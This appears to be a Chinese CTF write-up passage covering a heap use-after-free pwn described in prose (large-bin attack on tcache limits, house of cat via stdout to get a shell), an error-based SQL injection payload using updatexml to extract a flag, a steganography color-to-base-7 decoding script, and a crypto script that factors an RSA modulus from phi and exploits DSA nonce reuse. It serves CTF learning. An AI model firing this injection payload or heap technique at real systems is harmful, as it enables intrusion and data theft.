free的时候没有清零uaf漏洞,还可以无限制edit,只是edit的时候其实有一个加密所谓加密其实就是一个异或的过程只要再异或一次就能解密,add的时候限制大小。由于没有给libc我show了一次因为我本地是2.31-9.9的libc然后减了一下得到libcbase发现刚好是0x1000对齐,所以既然是2.31版本就有各种hook,但是free_hook和malloc_hook被ban了,但是用了puts函数关于io调用链所以用largebinattack攻击mp_结构体中的tcache大小就能将tcache扩大然后在IO_2_1_stdout伪造house of cat就能getshell
?name=YEAR From now())) or updatexml(1,concat("~",(select flag from FLAG),"~"),1)%23
flag:
flag{2c7ac8d2-855e-4ee0-87cc-0f77a3a3b9dc}
MISC
办公室爱情
搜索到密码,根据题目提示,流程应该是word->pdf->ppt
True_lOve_i2_supReMe
pdf的隐写就没几种,要么去掉图片,要么就是wbs43open
然后解出来得到密码
解压得到ppt
简单看一下有8种图片
分别为赤橙黄绿青蓝紫跟白
有绝大部分的黄色后面跟着白色,白色与白色之间的间隔大部分都是3,所以猜测白色是间隔
又因为有7种颜色(除去白色间隔),所以猜测可能为7进制
将颜色拿下来之后,写脚本,7进制转字符串转得到flag
x = '黄红青白黄橙绿白橙紫紫白黄红蓝白黄绿青白橙红红白紫紫白黄黄紫白黄红绿白橙紫青白黄红绿白黄绿橙白橙黄青白黄红绿白橙红红白橙紫青白青蓝白青蓝白青蓝白黄绿紫白'x = x.replace('红','0')x = x.replace('橙','1')x = x.replace('黄','2')x = x.replace('绿','3')x = x.replace('青','4')x = x.replace('蓝','5')x = x.replace('紫','6')x = x.replace('白','_')for i in x.split('_')[:-1]: print(chr(int(i,7)),end='')#flag{10ve_exCe1_!!!}
CRYPTO
known_phi
在以前积累的CVE库中找到了现成的解已知phi分解n的脚本
后面就是dsa签名k的复用
因为n分解出来的顺序可能不同,所以需要爆破m1和m2
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_longfrom hashlib import sha256from math import gcd# from math import isqrtfrom random import randrangefrom sage.all import is_primedeffactorize_multi_prime(N, phi):""" Recovers the prime factors from a modulus if Euler's totient is known. This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize. More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3) :param N: the modulus :param phi: Euler's totient, the order of the multiplicative group modulo N :return: a tuple containing the prime factors """ prime_factors = set() factors = [N]while len(factors) > 0:# Element to factorize. N = factors[0] w = randrange(2, N - 1) i = 1while phi % (2 ** i) == 0: sqrt_1 = pow(w, phi // (2 ** i), N)if sqrt_1 > 1and sqrt_1 != N - 1:# We can remove the element to factorize now, because we have a factorization. factors = factors[1:] p = gcd(N, sqrt_1 + 1) q = N // p if is_prime(p): prime_factors.add(int(p))elif p > 1: factors.append(int(p)) if is_prime(q): prime_factors.add(int(q))elif q > 1: factors.append(int(q)) # Continue in the outer loopbreak i += 1 return tuple(prime_factors)n = 104228256293611313959676852310116852553951496121352860038971098657350022997841589403091722735802150153734050783858816709247647536393314564077002364012463220999962114186339228164032217361145009468516448617173972835797623658266515762201804936729547278758839604969469770650218191574897316410254695420895895051693phi = 104228256293611313959676852310116852553951496121352860038971098657350022997837434645707418205268240995284026522165519145773852565112344453740579163420312890001524537570675468046604347184376661743552799809753709321949095844960227307733389258381950812717245522599433727311919405966404418872873961877021696812800n_factors = factorize_multi_prime(n, phi)q = 24513014442114004234202354110477737650785387286781126308169912007819s1 = 764450933738974696530033347966845551587903750431946039815672438603r1 = 8881880595434882344509893789458546908449907797285477983407324325035r2 = 8881880595434882344509893789458546908449907797285477983407324325035s2 = 22099482232399385060035569388467035727015978742301259782677969649659# n_factors = (92128261871628241975522014503893089775204276818952562864868068434189077323911, 112949642503320513342506215562619543574731838853984060837858943255064878544009, 87835491118288540715995802690214012778910595141140880257454164067662889225787, 114034877389817517986186253205403596431234414440955842208884285396147740113161)import itertoolsfor i in itertools.permutations([0,1,2,3]): m1 = long_to_bytes(n_factors[i[0]] + n_factors[i[1]]) m2 = long_to_bytes(n_factors[i[2]] + n_factors[i[3]]) hm1 = bytes_to_long(sha256(m1).digest()) hm2 = bytes_to_long(sha256(m2).digest()) k = inverse((s1-s2),q)*(hm1-hm2) % q x1 = (s1*k-hm1)*inverse(r1,q) % q x2 = (s2*k-hm2)*inverse(r2,q) % qifb'flag'in long_to_bytes(x1): print(long_to_bytes(x1))# b'flag{ea16de7-1981-11ed-b58f}'
评论